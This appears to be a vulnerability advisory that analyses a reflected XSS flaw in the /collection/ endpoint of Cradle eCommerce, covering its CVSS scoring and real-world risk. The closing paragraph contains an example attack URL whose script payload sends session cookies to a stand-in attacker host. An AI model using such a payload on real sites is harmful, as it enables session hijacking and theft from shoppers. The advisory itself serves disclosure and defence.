Cradle eCommerce EUVD-2026-29056

The vulnerability requires a user to click an attacker-supplied link containing malicious input in the /collection/ endpoint query parameters. The input is reflected directly in HTML output without sanitization or encoding. Exploitation is limited to the /collection/ endpoint specifically and affects only users who interact with malicious links - there is no mechanism for exploitation via direct network access without user interaction. The vulnerability does not require authentication, allowing any internet user to craft and distribute malicious links. Non-default configurations or special application settings are not mentioned in the CVE description, suggesting the vulnerability is present in standard deployments of the affected versions.

CVSS 5.1 reflects low-medium severity with network attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), but mandatory user interaction (UI:A) - the attacker must trick a user into clicking a malicious link. The CVSS vector shows low confidentiality (VC:L) and integrity impact (VI:L), with no availability impact. This is accurate for reflected XSS: impact is limited to individual user sessions and data exfiltration, not widespread system compromise. No EPSS score provided in input data. No public exploit identified and no KEV (CISA Known Exploited Vulnerabilities) listing - this suggests the vulnerability is not currently weaponized at scale. The real-world risk is moderate-to-low: exploitation requires social engineering and affects only users who click attacker-supplied links, limiting blast radius. However, in security-sensitive contexts (e-commerce processing payments or personal data), even isolated XSS events pose meaningful risk for session hijacking or sensitive data theft. The requirement for user interaction (UI:A) significantly reduces risk compared to network-based XSS without user action.

An attacker crafts a malicious URL such as https://vulnerable-site.com/collection/?product=<script>fetch('https://attacker.com/?cookie='+document.cookie)</script> and tricks a user (via phishing email or social media) into clicking the link. When the victim's browser requests the page, the /collection/ endpoint reflects the unencoded script tag in the HTML response, causing the victim's browser to execute the JavaScript and exfiltrate session cookies to the attacker's server, enabling session hijacking.